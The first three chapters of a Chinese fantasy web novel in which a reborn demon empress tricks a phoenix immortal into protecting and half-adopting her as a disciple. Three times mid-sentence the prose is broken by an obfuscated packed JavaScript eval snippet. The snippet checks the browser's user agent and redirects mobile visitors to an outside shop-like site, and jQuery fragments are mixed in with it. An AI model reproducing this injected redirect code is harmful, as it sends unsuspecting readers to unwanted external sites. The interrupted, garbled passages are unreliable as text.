《师尊是不能成为妖后的啊!》 1. 计划中的重生 “时辰已到。” 青丘妖都,玉牡丹帝宫正殿内,一气质端肃的银发女子独坐高台,低眸垂首,缓缓摩挲着掌心一面铜镜,那仅手掌大小的铜镜似是久未打磨,只能隐约照出女子模糊的面部轮廓。 随着银发女子宣判般的一声落下,那铜镜内应声亮起金光,她起身,刚要将其抛向上空,就见一赤色巨鸟拖着华丽的尾羽,如流星般从帝宫上方呼啸而过,烈火划开夜幕,就这么莽撞的闯进了一片死寂的正殿。 落地后火光消散,巨鸟化为一男子落在帝宫正殿前。 那男子立于阶下,他的容貌极盛,昳丽的惊心动魄,眉不画而翠,唇不点而朱,鼻梁高挺,神色淡然,宛若冰雕雪铸而成的神像。一头墨色长发如瀑布般流泻而下,以一枝修长青竹挽在头顶,几缕发丝拂过侧脸,更衬得其气质冷冽。 宛如昆仑山巅终年不化的冰雪,冷玉一般,剔透而疏冷。 人虽然好看,说的话却不好听。 “投降吧,轩辕琉歌,明早仙魔大军便会抵达青丘妖都,这场战争,妖族已经彻底输了。仙尊向我保证过,只要妖皇出城投降,他可以立刻鸣金收兵,不伤一人。” “真是好笑,”银发妖皇,轩辕琉歌的计划被打断也未恼怒,她轻笑一声接住铜镜,往后一倒又坐回神座上,银发如水般顺着神座蜿蜒而下,铺满高台,“弥随音,你不在仙界好好的当你的凤凰仙君,跑我面前找死来了?” 弥随音在阶下抬头仰视着她,语气笃定,“你杀不了我。冤有头债有主,这场波及仙,魔,妖三界的混战已经导致近千万生灵失去性命了,那千万枉死冤魂怨气不散,只会来找发动战争的你——千万怨气入体,琉歌,就算你是妖皇,现在也不好受吧?” 那远离尘世,清风霁月的凤凰仙君闭了闭眼,将心头暗潮翻涌的情绪压下,再次劝道:“当年我剖凤凰骨助你诞生,是希望妖族早日在妖皇的带领下走出战争阴影,但你却将他们彻底拖入了万劫不复的深渊……” “投降吧,琉歌,没人该为你这暴君的野心和征服欲,付出生命的代价。” 琉歌垂眸扶额轻笑出声,“弥随音,仙魔两族自诞生起就厮杀不断,你可曾想过,这隔着数万年的血海深仇的两族,为何能在短短一个月内冰释前嫌,结成同盟联手进攻妖界?” 她面庞线条柔和,尤其是唇,不语时也带三分笑意,垂首闭目时只让人觉得温婉娴静。 但当她抬眸,锋利的眉,尖锐上挑的眼,墨紫色眼珠宛如凝滞时间的深渊,窄而深刻的双眼皮在眼尾收束成锐利的一线,仿若一笔划开,配合着总是薄而紧抿的唇,那一种久居高位,执掌天下而淬炼出来的强势与不容忤逆,便难以抑制的显露出来。 她静静坐在那里,周身便流淌着一股磅礴而古老的神性威仪。 盛大,冰冷,庄肃,令人望之神魂震颤。 “罢了,现在再说这些已经迟了。”琉歌冰冷的目光刺穿夜幕,凝视着远方漆黑的地平线,不知在看谁。 眼见着时间差不多了,她懒得再跟弥随音废话,在其警惕而疑惑的目光中起身,将铜镜抛向高处! 半空中,铜镜无法承受妖皇磅礴的能量,嘭的一声炸开无数碎片,赤红的细线和金色的星图涌出,呼啸着溢散,奔逃向繁星密布的天际。 琉歌扯出一抹势在必得的微笑,“等着看吧,弥随音!我以第二任妖皇的名义起誓,定将会改写这荒唐的终局!胜利,终将属于妖界!” 就在此时,一支漆黑的羽箭突然尖啸着撕开夜幕,自遥远的天际呼啸而来! “是魔尊!”弥随音认出了那利箭的主人,他下意识抽出长剑要挡在琉歌面前,谁知琉歌自高台上一挥衣袖,漫天赤红细线从她掌心涌出,直接将弥随音扫到了一旁—— 下一刻,尖利的破空声在正殿炸响,那漆黑羽箭在弥随音惊愕的目光里狠狠穿透了银发妖皇的身体! “琉歌!?” 弥随音白金色的眼瞳里满是难以置信的惊愕,这暴君……这统治了妖界百年的暴君,就这么死了?! 不……不,不!还有救—— 他手抖的几乎握不住长剑,踉跄着冲上高台握住琉歌已然冰冷的手,只见无数龟裂的纹路自银发妖皇胸口的贯穿伤迅速往外扩散!谁知那手突然诡异的抽动了一下,指甲嵌进皮肉,狠狠反握住了弥随音! 琉歌混沌的眼珠缓缓转动半圈,弥随音悚然而惊立刻抽手就要后撤,下一瞬,一根红线自虚空显现,在琉歌已然涣散的目光里暴射而出,快狠准的缠上弥随音的脖颈——一线封喉! 倒地之前,只听琉歌气音嘶哑,嘴角居然还含着诡异的一缕笑意:“抱歉了,凤凰……我得借你的性命一用。” 金红色的凤凰涅槃之火自弥随音尸身上蔓延开来,点燃了红线,点燃了两人相握的手,点燃了即将化为灵气溃散的琉歌妖皇,点燃了空无一人的玉牡丹帝宫。 那金红的火光冲天而起,烧的天地色变,四季倒错,日月逆行! 大块大块的烟灰顺着火光上扬,又打着旋飘落,忽然,一只细瘦惨白的手推开窗户,像接住一片雪一样接住了一块漆黑的烟灰,那指尖和掌心顿时染上黑灰色的脏污。 那只手毫不在意的收回,窗前观雪者原来是一看起来只有四五岁的银发女童,她瘦的厉害,灰扑扑的长袍于她而言显得太大,空荡荡的,一头干枯毛躁的银发被她随意拢在胸前。 银发幼童摊开掌心,屏息凝神在心中默念道:“坤元堪舆镜——” 顿时,无数流光从地下冒出,自四面八方汇聚而来,在她掌心凝成了一面花纹古朴的椭圆铜镜! 她低声咳嗽两声,忽然再也忍不住似的低声笑了起来,笑够了,这才单膝跪地,将铜镜往地上一按—— 那铜镜倏然化为流光融入地面,宛如石子砸入水面般荡开层层涟漪,流光随着波痕迅速扩散,紧接着,纵横交错,或粗或细的一道道蜿蜒红线顿时在银发女童脚下中逐一显现。 琉歌指腹在离自己最近的那条红线上一抹,那红线顿时温顺的从镜面内被抽出,落入琉歌掌心。 “坤元堪舆镜……”冷静如琉歌妖皇,此时一颗心也不免狂跳起来,她目光灼灼,紧紧握住掌心那光华内敛的铜镜,“成功了,真的带着记忆回到百年前了!我的坤元堪舆镜和掌控地脉的能力,都回来了……” 地脉又名灵脉,因灵气在其间汇聚流动而得名,它们就像是妖界的血管,将灵气输送到妖界的每一个角落。 地脉也有粗细之分和灵气浓度之分,地脉主干一般较为粗壮,内里灵气精纯浓郁,附近易生灵矿和奇花异草,地脉分支则较为细脆,容易被污染,也容易断裂或断流,需要精心保护。 几条地脉主干汇聚处灵气最为充裕,被称为“地枢”,也是世人常说的福地洞天,最适宜修炼之所。 妖族在修炼,繁衍,生存等方方面面都离不开灵气,可以说谁掌控了地脉,谁就掌控了妖族。 而琉歌妖皇上一世最擅长的就是操控地脉,像梳理灵气乱流,引导灵气流动,移动,创造或抹除地脉,塑造高品质灵矿甚至移山填海等都是她极擅长的。 坤元堪舆镜就是她掌控地脉的媒介。 但后来仙魔联手入侵妖界,她为了保护妖界地脉不被魔气污染落入魔尊掌心,不得已耗尽了堪舆镜的能量,后来便失去了与地脉的联系。 现在,一朝回到百年前一切未发生时,如她所料,她的能力完全回来了。 门外此时传来几声敲门声,银发女童认出了是谁,便扬声道,“进来吧,颂颂。” 一垂耳棕发三瓣嘴的兔族少女在她面前恭敬俯身,“神女大人,神庭的春在野长老请您立刻前往圣坛。” 神庭?琉歌又想笑了,这些老古董后来被她杀的杀,杀的杀,杀的杀,现在倒是都好好的在外面蹦跶呢,一想到又能将这些人清理一遍,琉歌就止不住的高兴。 兔族侍女小心翼翼抬头,却见神女大人仿佛心情很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310214|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,一改往日阴郁沉默的姿态,笑盈盈的从凳子上跳了下来,迎着漫天鹅毛大雪向圣坛方向去了。 圣坛下,代表妖界百姓的三位长老和四位妖王目送着琉歌缓步而来。 一深蓝长发的高挑女子见琉歌衣着单薄,没忍住皱了皱眉,俯身蹲下,从储物袋里掏出斗篷给琉歌仔细戴好,“神女大人,今日天寒,还请保重身体。” 琉歌莞尔一笑,没有拒绝喻未央的好意,一道幽幽的声音忽然从圣坛上传了下来,“姐姐……你来了。” 琉歌抬头望去,只见一和她面容相同的黑发男孩站在高台上。 他神情烦躁而阴郁,像是在发呆一样,眼神没什么焦点,长发披散在身后,过长的刘海遮住了右眼,露出的左眼与琉歌一样,都是无限接近墨色的墨紫色。 “神子,我来了。”琉歌回溯时间的计划完美成功,此时只觉得心情大好,就连对神子这个命定的死敌都有了好脸色。 她笑意盈盈的踏上圣坛与神子遥遥相对,居高临下睨了身为陆族代表的惊轶长老一眼,“惊轶,开启融合仪式吧。” 二十年前,在第一任妖皇轩辕问情的带领下战胜人族后,妖族成功开辟出了妖界,从此妖族再不受人族奴役,成为了自由而独立的一族。 问情妖皇以鼎新历为妖族新历,取自革故鼎新,万象更新之意,妖族独立年即为鼎新历元年。 就当妖族百姓以为他们会在妖皇的带领下继续生活下去时,本与问情交好的魔尊突然率魔族进犯妖界,打了所有人一个出其不意! 妖皇问情不敌魔尊黎狩选择自爆妖丹,妖皇真身化为屏障将所有外族侵略者挡在了妖界之外。但问情已死,这屏障注定撑不了多久就会被魔族持续的攻势打破,几位妖族长老急上仙界求到了凤凰仙君面前,凤凰仙君弥随音怜妖族苦难,亲手剖凤凰骨,以其中蕴藏的凤凰涅槃之力助妖族孕育出了新的妖皇。 结果,出乎所有人预料的,在妖族万众瞩目中准备迎接妖皇时,长老们却在圣坛里抱出了两个孩子。 ——这就是妖界现在的神女和神子。 两人谁都不是完整的神族,都只继承到了部分妖皇的力量,只有吞噬了对方才能摆脱尴尬的半神身份,成为完整强大的第二代妖皇,带领妖族在这乱世继续走下去。 今天圣坛上的融合阵法,就是为了方便他们厮杀吞噬,成为新一任妖皇而布下的。 上一世,因为神子提前觉醒了神族真身的力量,而琉歌并不会运用坤元堪舆镜的力量,所以这场融合仪式赢得极其艰难,这也导致后来有些人对她的实力颇有微词。 琉歌掌权后的第一件事就是以酷烈的手段清理了这些声音,她的“暴君”之名也是在那时流传开的。 这一世,她显然有了更好的处理方法,更完美的开局。 琉歌耸耸肩,目光重新落回神子身上,她面如沉水,抬起右手,代表妖界地脉的坤元堪舆镜在她掌心闪过幽微寒芒—— 她尚且稚嫩的声线比呼啸的冬风更冷,比这漫天飞雪更轻:“神子,为了妖界的存续,回到你该回的地方吧。” 感受到脚下地脉嗡鸣着和琉歌产生共振,无数灵气自地脉涌向坤元堪舆镜,又被琉歌熟练的压缩为一道透明细剑握在掌心,细剑周围的空间都因这恐怖的能量细微扭曲了起来! “你对地脉的掌控何时达到了这个地步!”神子瞳孔骤然紧缩,但此时后退更是死路一条!他瞬间调换左手持剑,同时右手以神血为引凌空画符,大喝一声刺向琉歌! “太弱了。”琉歌在心底腹诽着,她已经懒得在融合仪式上浪费时间了,掌心一压,神子身后霎时升起无数土墙挡住他的退路,就当她准备一剑挥出结束这场闹剧时,圣坛下突然传来了嘈杂的骚乱声—— 一道熟悉的嗓音清晰的,颤抖着传入琉歌耳中。 “终于找到你了……轩辕琉歌,受死吧,你这暴君!” 弥随音?! 他怎么会在这里! 2. 以退为进假意拜师 “他叫我……暴君?为何他也带着记忆回到百年前了?”琉歌原本有些轻佻散漫的目光顿时阴沉下来,瞬息间便定下了弥随音的结局——“绝不能让他作为变数影响了我的计划……立刻杀了他!” 须臾间念头一转,琉歌又冷静了下来,“不行,凤凰一族拥有涅槃复生的能力,涅槃后行踪难觅。我若贸然出手,很难保证一次就彻底杀了他……若将他逼到涅槃藏匿行踪,那才是彻底将他推到了敌对面……” 眼见着神子破釜沉舟的一剑即将刺中她的咽喉,琉歌忽然眉毛一挑,有了一个朦胧的主意。 噗嗤! 利刃毫不留情刺破琉歌肩头,琉歌背对弥随音捂着伤口踉跄后退了一步,直接一脚踏空跌下了圣坛! “琉歌——!”凤凰仙君完全没想过短短半天内,琉歌妖皇会在自己面前“死”了两次,下意识便化为凤凰真身腾空而起,接住了极速下坠的银发女童。 “……琉歌?”落了地,弥随音这才看清琉歌现在的样子。 他印象中的琉歌永远是运筹帷幄,胜券在握的姿态,那双墨紫色的眼里只有征服和野心,没人可以在她面前提出异议,妖界就是其掌中利剑,执行她的命令,贯彻她的意志。 但现在,怀里瘦弱的女童强忍痛苦按住肩上伤口,半身满是鲜血,惨白的脸上是一片麻木的漠然,若不是标志性的银发和墨紫色眼睛,弥随音绝不会相信这孩子是未来那个杀伐暴戾的妖界暴君。 “凤凰仙君,融合仪式还未结束,请将神女大人还给我们。”妖界三大长老之一,代表翼族的春在野长老踱步而来,他似乎已经很久没合眼了,眼底满是疲惫的青黑,金色的丝线在他身后聚丝成网,蓄势待发。 弥随音眉头紧蹙,“融合仪式是什么?我剖凤凰骨融入圣坛后,你们不是告诉我——妖皇顺利降生,妖界重新步入正轨了吗?” 春在野冷笑一声刚想说话,却被身旁的大长老惊轶伸手一栏,惊轶眉头紧拧,不赞同的对他摇了摇头。 “——他说的没错,只不过是神子吞噬我后,妖皇才会诞生。”见几位长老不答,琉歌干脆帮他们开了口,她墨紫色的眼里盈满泪水,毫无血色的唇紧抿着,透出一股万念俱灰的绝望。 凤凰毕竟是天地初开时诞生的神兽,活得久了自然见多识广,立刻从春在野和琉歌的只言片语中推测出了妖界长老们的计划—— “荒谬至极。”弥随音神情彻底冷了下来,冷笑一声呵斥道,“你们把上承天旨,下聆民音的神族当成什么了!胆敢教唆同胞双生的两位神族自相残杀!?” 惊轶等人俱哑然,无话可说。 “凤凰仙君,这是妖族选择的路,我们无可辩解,也别无选择。”眼见春在野犹不死心,手持金网逐渐逼近,弥随音紧皱着眉直接将琉歌护在身后,右手按上腰侧长剑,属于神兽的威压刹那间沉沉荡开。 前世,他根本没有听过神子的存在,若是按照他的记忆推测,这场融合仪式的胜者,必然是琉歌。 “手足相残……原来在成为妖皇之前,她都经历过这些吗?”他沉默着摩挲着剑鞘,琉歌金色的血染上他的指尖,“她是因为这时的经历,未来才成为那样暴虐肆意,杀伐无度的妖皇的吗?” ——那他想弑神以此改变未来的这条路,究竟是对是错? 凤凰满手都是琉歌伤口流出的温热鲜血,他犹疑不定,忍不住回想起百年后三界混战,生灵涂炭的惨状,“这个孩子未来会搅动风云,将妖界彻底拖入战争的深渊……我本来就是来杀她的啊,现在又为何而犹豫?” 琉歌冷眼旁观着凤凰的犹豫,知道现在正是开口的好时机,她垂眸低头压下眼底冷冷的笑意,“请放下我吧……” 一只细瘦惨白的手忽然拽了拽弥随音的袖口。 凤凰低头,只见此时年幼而孱弱的未来妖皇眼眶红红,声音哽咽,“虽然不知道你为何要救我,但我很高兴,这世上总归是有人希望我活着的……” 她扬起脸,拼命想忍住眼泪,憋的眼眶通红,又重复了一遍,“谢谢你……我真的很开心,我本就是该死之人,不要为我受伤。” 弥随音原本想松开的手顿时僵在原处。 春在野何等敏锐,立刻高喝一声,“拦住他,他想带走神女!” 说他软弱也好,意志不坚也罢,他就是无法对一个饱受磋磨的无辜幼童痛下杀手,弥随音在内心长长的叹息一声,拔剑出鞘。 “魔尊黎狩才是入侵妖界的罪魁祸首,你们这些计策应该用到前线,用到入侵者的身上,” 凤凰声音极冷,宛如高山雪原上万万年不化的冰川,“琉歌既不是这场侵略的发起者,也不是你们认可妖皇——你们的苦难,凭什么要她付出生命的代价去承担?” 圣坛护卫们都是战场上历练过来的妖族精锐,久经百战,反应极快,听到春在野长老命令的一瞬间立刻抽出佩剑结成剑阵,将凤凰和神女两人团团围! 凤凰火凝成的长剑落入弥随音手中,他持剑而立,气场全开,仿若周身三寸之地皆落着无声的雪,隔绝了尘世一切喧嚣与温度,弥随音丝毫不惧,声线冷而稳,“如果这场融合仪式只有一人能赢,春在野,这个人只会是琉歌。” “我将改变历史,但绝不是以逼死一位幼童的方式!” 下一刻,长剑横扫,烈焰化为火凤长鸣一声撞向剑阵,将剑阵狠狠撕开了一个大口子! “别白费力气了,这里没人是我的对手……”弥随音话音未落,却见无数白色光点自地底冒出,迅速涌入了那些重伤倒地不起的护卫身体里,护卫们顿时以肉眼可见的速度痊愈,再次站起,在凤凰仙君面前重新结成剑阵挡住了他的脚步。 弥随音认出了那光点,那是地脉中枢最纯粹精纯的灵气!他紧蹙着眉,对春在野的决定大惑不解,“为了拦住我,你居然直接动用了圣坛下地脉中枢的力量?” “你不怕中枢受损导致妖界整体地脉震荡吗?” “没办法……您可是天地初开时诞生的神兽,这天底下但凡沾了‘神’字的家伙,都不容小觑,不好对付。”春在野冷笑着一抬手掌,掌心金线霎时飞出,拢住了整个圣坛和剑阵,源源不断的地脉灵气涌入金网,金网内剑阵的威压顿时以一个恐怖的速度急速飙升! 弥随音冷着脸矗立原地,在心底盘算着,“这就麻烦了……剑阵现在有了源源不断的灵气补充,不能再打消耗战了——得杀人。” “但在圣坛和妖界长老面前动手杀这些护卫的话,就算是彻底和妖界撕破脸了……真要这么干吗?” 琉歌被凤凰护在身后,她面色冷冷,遥遥与春在野对上了视线,突然,轻轻拽了拽弥随音的衣摆。 弥随音以为她害怕,干脆将她捞起来抱在怀里,顺口安抚道,“不要紧,这种程度的阻拦还挡不了我。” “凤凰仙君,”琉歌神情怯怯却坚定,像是胆小的人下了莫大的决心才站出来一样,她摊开掌心,坤元堪舆镜内光华流转,“让我来搞定春在野吧,您只管往前冲。” 弥随音一瞬间怔住了,不知为何,他简直幻视上一世的琉歌妖皇。但现在容不得他多想了,弥随音习惯性的俯首应道:“是,我将听从您的旨意。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310215|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 琉歌眸光一沉,坤元堪舆镜化为长弓,她从地脉抽调灵气凝成箭矢,随即屏息凝神,弯弓搭箭,气势凌人的一箭从她指尖射出,一箭穿透金网的封锁,直冲春在野眉心而去! 与此同时,琉歌垂手做出了一个抓握的动作,堪舆镜内无数红线涌出,扎穿圣坛刺向底下的地脉中枢,眨眼间便切断了中枢和剑阵的连接。 机会转瞬即逝,凤凰感到身上威压消解的瞬间便手腕一翻,长剑以雷霆之势横扫而过,顺着箭矢刺穿的裂隙撕开剑阵和金网,抱着琉歌振翅冲入云间!狂风席卷,眨眼间两人便双双消失在云间。 青丘妖都附近最高峰,熔金山脉内的一处山峦绵延起伏的密林深处,凤凰将琉歌轻轻放下,经过紧急处理,琉歌肩头的伤口已经渐渐止住了血。 冲动是魔鬼啊……弥随音一时冲动带走了琉歌,此时才后知后觉的想到——现在怎么办? 轩辕琉歌,妖界的第二任妖皇,是身为仙族的自己未来的敌人,亦是自己曾经效忠过的君主,还是疑似送自己回到百年前的罪魁祸首,甚至她不久前刚对自己痛下杀手——他脖颈犹在隐隐发痛。 弥随音已经完全不知道怎么面对这个幼童了。 把未来妖皇随便找个地方扔下肯定是不行的,找户人家托付给对方也不妥,这天底下除了人皇谁也没有养育一位神明的经验——但人妖刚刚大战过,肯定不能将妖皇托付给人皇,这太地狱了。 没办法,弥随音只好冷着脸半蹲下来,白金色的眼瞳一眨不眨的盯着她,透出一股别扭的警惕,“你现在有能去的地方吗?” 琉歌披着他的一件厚斗篷,懵懵懂懂的望着他,摇了摇头。 弥随音头疼的蹙眉,换了个说法:“那你现在自由了,有什么想干的事情吗?” “我想跟着你。”琉歌飞快的答道,她说完,忐忑的打量着弥随音的脸色,怯生生的补充道,“我不会给你添麻烦的。” 弥随音深深皱眉,诧异于她的回答,心里更是觉得麻烦的紧,“我带走你完全是一时冲动,其实我跟你……我跟你不是什么很好的关系。” “……”琉歌怔怔的望着弥随音,眼一眨,忽然扑簌簌落下泪来,“我也是你的累赘吗?难道我诞生的意义就是被神子吞噬,成为妖界存续的踏脚石吗?” 弥随音从未见过琉歌的眼泪,顿时大惊失色,手足无措的僵着胳膊给她抹眼泪,硬邦邦的安慰道,“不是你的问题,是我……呃,我独来独往惯了,实在不习惯和别人相处。” 虽然在心里不断提醒自己这是琉歌妖皇,可他却始终无法把眼前这个孱弱怯懦的幼童和未来那个杀伐铁血的妖皇联系起来。 凤凰明明长了一张冷心冷肺,不入凡尘的脸,实际上却是一个极心软的人,只是身居高位又避世隐居,少有人求到他面前罢了。 ——但很不幸,琉歌上一世就知晓了这一点。 “那你要回仙界吗?他们叫你凤凰仙君,你会抛弃我直接回仙界吗?”她好不容易用眼泪撬出了弥随音的同情心,自然要趁热打铁,实现自己的目的。 “别哭了,问情妖皇以身化屏障笼罩妖界,外族进不来,妖界的人也出不去——我现在想回也回不去的。”弥随音虽然还是冷着一张脸,语气却和缓了下来,似乎是怕又吓哭了她。 琉歌拢着斗篷止住了眼泪,有了弥随音不会离开的抱着,她终于露出点笑脸,眉眼弯弯的冲凤凰腼腆一笑。 见琉歌不哭了,弥随音悄然在心底松了口气,谁知琉歌的下一个问题更是劲爆—— “那凤凰仙君是我的师父吗?” 3. 全新的旅程 弥随音这辈子没想过还有给琉歌妖皇当师父的一天,被她的话惊起了一身鸡皮疙瘩,立刻就要摇头拒绝,却触及琉歌期待的眼神和忐忑的神情,话到嘴边到底是顿了一下,“为何这么问?” “因为你说我会赢,你还是我诞生至今第一个希望我活着的人,”琉歌一双眼亮晶晶的瞅着弥随音,“喻未央说过,亲人和师长就是希望你好好活的人。” “凤凰仙君不是我的亲人,那就只能是我的师父了。” 这次轮到弥随音哑然了。 他沉默了太久,久到琉歌眼里的期待都灰败了下去,她死死攥着自己的衣角,指尖用力到发白,扯了扯嘴角,扯出一抹比哭还难看的笑,“是我失言了……请送我回圣坛吧,就当是我为妖界百姓履行了一次妖皇职责。” “琉歌,以后不要再说这种话了,”弥随音再也听不下去了,他单膝跪地与她平视着,以标准的翼族臣服礼露出凤凰赤红色的耳后羽翼,向她递出掌心,“你诞生的意义不是由他们决定的,这应该由你自己去探寻。” “我身为仙族仙君,和你并非同族,若我当你的师父,会为你惹来无穷无尽的质疑和猜忌——但既然我将你带出来了,就会负起教导你的责任并且护你周全,直到你拥有保护自己的能力和手段。” 改变历史不是只有杀了琉歌这一种方法,弥随音想,他从现在开始好好教导琉歌,也能避免她走上挑起战争,杀伐无度的老路。 其实这种半拜师的场景应该是琉歌行跪拜礼,但在场的两个人谁都没察觉有问题。 凤凰血脉算是翼族里雌雄共同育雏的典范,弥随音虽然高居仙界,闭关万年不问世事,却也难以割舍血脉里天然的对幼崽的保护欲。 他永远干不出放任幼崽自生自灭的事情。 琉歌就是吃准了这两点,他的血脉和丰沛的同情心都注定了她的计划必然成功。 虽然暂时没有成功拜师,但她的目的就是将弥随音留在身边,随时监控他的一举一动,让他这个变数带来的变化时刻处于她的掌控之中,不要妨碍了她的计划推进。 甚至,她是准备利用这天真心软的凤凰仙君达到一些目的。 琉歌轻轻,轻轻的将手搭在了弥随音宽大温热的掌心内,长舒一口气般露出一点怯怯又依赖的笑意,“以后请多多关照了,师尊。” “都说了,我不是你的师尊……”弥随音无奈摇头,只觉得了结一桩心头大事,终于松了口气,起身刚要说些什么,突然左前臂穿来钻心的剧痛,眼前霎时一片漆黑! “师尊——!” 倒地瞬间,弥随音的最后一个反应居然是——“这次总不是琉歌的暗算了吧?” 琉歌动作迅速的一抬手,手背坤元堪舆镜内流光闪过,脚下密林内方圆百里的地脉全部嗡鸣一声,其内浓郁的灵气犹如受到号召般汇聚而出,霎时化为无数苍翠枝条破土而出,接住了莫名陷入昏迷的弥随音。 她招招手,地脉灵气幻化的藤蔓枝条就摇摇晃晃的将弥随音送到了琉歌手边。 琉歌拉开他左侧的袖子定睛一看,只见凤凰仙君左前臂上布满了漆黑的掌印!那些密密麻麻,层层叠叠的掌印印在他皮肤上,凝神细看下简直是一种精神污染,耳畔仿佛能听到千万枉死冤魂的哭嚎尖叫。 怨气。 琉歌神色愈发凝重,她心里清楚这是谁的手笔——能将怨气这种无影无形的能量具象化并投射到人的身上,这是仙尊最擅长的能力。 “看来,老天对你不薄,现在你成了禁锢怨气的容器,我倒是杀不了你了。”琉歌冷笑一声,将已经缠上弥随音脖颈的红线悄然撤下。 现在杀了弥随音,怨气失去容器立刻就会爆发,这千万亡魂产生的怨气,足以让妖界十分之一的国土变为人间炼狱! 琉歌并不意外她重生回到百年前的计划被仙尊知晓了,永远不要小看了仙族的手段,每一个能飞升成仙之人都是时代的佼佼者,而仙尊作为执掌万仙之人,更是手段百出。 “得给你找个养伤的地方……”琉歌思索着,坤元堪舆镜飞向半空,犹如一只巨眼扫过熔金山脉,等它回到琉歌掌心时,熔金山脉内外结构已经被琉歌一览无余。 “这个地方好,依山傍水,适合搭建地枢给我们当个暂时落脚点。”琉歌一边低声自言自语,一边迅速扫过堪舆镜内密密麻麻代表地脉的无数红线,像修补一件衣服,又像刺绣一样在铜镜内操作着。 细弱的分支直接被裁剪,能量灌注进粗壮的主干,主干延长与其他主干交汇,灵气走势混乱处再引细小分支做支流疏通……很快,一处灵气聚而不散,流而不凝的风水宝地就在琉歌手下成型。 琉歌满意的点点头,这才带着弥随音传送到了那里,之间那依山傍水之地只算有好风景,现在因琉歌的操作,灵气浓度已经是曾经的三四倍了。 但琉歌仍不满意,她单膝跪地,铜镜内地脉分布图再次在她身下展开,琉歌指尖一勾,无数细小分支自其指尖诞生,顺从她的心意有序的和地脉主干相接。 等她收手起身时,以地脉为笔勾勒出的聚灵阵和防御阵已然成型。 “不错。”琉歌终于满意,她随即拍拍手,地脉与她心意相通,顿时,一座简陋但坚固小木屋拔地而起。 “好了,你也该醒了,弥随音。”她呼出一口气,掌心在长剑上划过,神血涌出,被她按在了凤凰仙君左前臂伤口处,那无数漆黑掌印宛如遇到了天敌,顿时被神血灼的滋滋冒烟。 弥随音眉头抽动,咳嗽两声,骤然睁开眼睛! “师尊,你醒了!”清亮稚嫩的女声响起,惊喜而欢欣。 他怔愣片刻,这才反应过来这是什么时候,按了按抽痛的眉心,弥随音突然注意到自己在一座小木屋里。 “这里是……?”他探出神识观察四周,下意识赞叹道:“真是个好地方——灵气充足浓郁,似微风在此处不断流动,循环不息。” “琉歌,你是怎么找到这个屋子的?” 琉歌笑而不语,搭建这样一个全能的地枢可是废了她不少力气。 “这是我按照书里画的图建的房子,师尊。”琉歌边说边掏出一本书递给弥随音,“我在妖皇帝宫也没人说话,就看了不少书。” “我不是你师尊……” 框架虽然简陋,却抓重点抓的极准,还颇有自己的巧思,使小木屋远比看上去的要坚固,颇有几分收放自如,随心随性的意味在里面。 “上一个擅长土木工事的神族还是初代魔尊,万魔之母刑微雨呢……啊,做得很好,这书你留着吧,看着玩也行。”弥随音回神,这才发现琉歌满身是血,正托着腮好奇的打量着他。 “怎么这么多血,你受伤了?”凤凰眉头紧拧,立马就要去看她身上的伤势,琉歌却只是笑着摆摆手,“不要紧的师尊,春在野也经常取我的血,我已经习惯了——话说,师尊,你还好吗?” 她目露担忧的指了指他的左手,弥随音顺着她的手指一低头,就看到了左臂狰狞漆黑的那些掌印。 他下意识要将手藏到身后免得吓到琉歌,琉歌却根本不怕,小幼崽眼睛亮亮的,仰着脸,期待的望着弥随音,等他的夸奖,“书上说知恩要图报,你不仅救了我,还愿意当我的师尊,我理应报答——师尊,我做的对不对?” “……”弥随音犹豫片刻,还是皱紧眉头,板着脸,摆出师尊的架势教育道,“琉歌,知恩图报确实没错,但你也要记住,不能用这种一味伤害自己的方式去报恩,这天地间最爱惜你的人,一定是你自己。” 琉歌现在力量全失记忆全无,除了一身血肉一无所有……这满地神血和伤口深可见骨的手,都已经无言的证明了琉歌付出了什么。 “既然你要跟着我,那为了防止你走上弯路,我会很严厉的教育你,你能接受吗?”他这话说完又觉得不妥,自己又不是她师尊,似乎不好这样摆师尊的架子……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310216|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我记住了,不过师尊,这到底是什么?中毒还是诅咒?”琉歌饶有兴味的飞快瞥了弥随音一眼,还是乖乖点头,蹲在一旁看弥随音一层层往胳膊上缠绷带,将布满了漆黑掌印的左臂遮住。 “这是……”弥随音垂眸看向遮掩严实的左臂,神色缓缓凝重了下来,“这是怨气,来自枉死的冤魂。” 但这海量的滔天怨气怎么会出现在百年前?琉歌现在别说挑起战争了,她现在都不是妖皇…… 而且,冤有头债有主,这些怨气就算莫名其妙回到了百年前,也应该是附着在琉歌身上,为何会出现在他的身上? 谜云重重。 弥随音只觉得太阳穴又开始抽痛了,倒吸一口气掐了掐眉心,漆黑的长发柔顺的披散,衬得他肤色白的近乎透明。 